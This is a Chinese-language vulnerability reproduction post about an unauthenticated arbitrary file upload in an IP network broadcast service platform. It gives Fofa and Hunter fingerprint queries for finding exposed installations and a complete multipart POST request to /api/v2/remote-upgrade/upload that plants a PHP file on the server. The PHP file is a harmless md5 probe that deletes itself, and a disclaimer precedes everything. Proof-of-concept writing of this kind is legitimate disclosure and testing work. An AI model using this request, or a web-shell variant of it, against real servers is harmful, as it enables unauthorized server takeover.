【漏洞复现】IP网络广播服务平台 upload 任意文件上传

免责声明

本文内容旨在提供有关特定漏洞或安全漏洞的信息，以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步，并非出于任何恶意目的。

阅读者应该明白，在利用本文提到的漏洞信息或进行相关测试时，可能会违反某些法律法规或服务协议。同时，未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。

作者不对读者基于本文内容而产生的任何行为或后果承担责任。读者在使用本文所提供的信息时，必须遵守适用法律法规和相关服务协议，并独自承担所有风险和责任。

如有侵权，请联系作者删除。

漏洞描述

IP网络广播服务平台 upload 接口处存在任意文件上传漏洞，未经过身份认证的远程攻击者可利用此漏洞上传任意文件，最终可导致服务器失陷。

网络空间测绘

Fofa

icon_hash="-568806419"

Hunter

web.icon=="9091011a03bffd9898d79fc589a2c65d"

image.png

漏洞复现

POST /api/v2/remote-upgrade/upload HTTP/1.1
Host:127.0.0.1
User-Agent:Mozilla/5.0(compatible; MSIE 9.0;Windows NT 6.1; WOW64;Trident/5.0; SLCC2;.NET CLR 2.0.50727;.NET CLR 3.5.30729;.NET CLR 3.0.30729;MediaCenter PC 6.0;.NET4.0C;.NET4.0E;QQBrowser/7.0.3698.400)
Content-Length:277
Content-Type: multipart/form-data; boundary=a854e0f3d1912b847917024c08517e006b3651140460cfadf439f7ee93ab
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

--a854e0f3d1912b847917024c08517e006b3651140460cfadf439f7ee93ab
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?phpechomd5(1);unlink(__FILE__);?>
--a854e0f3d1912b847917024c08517e006b3651140460cfadf439f7ee93ab--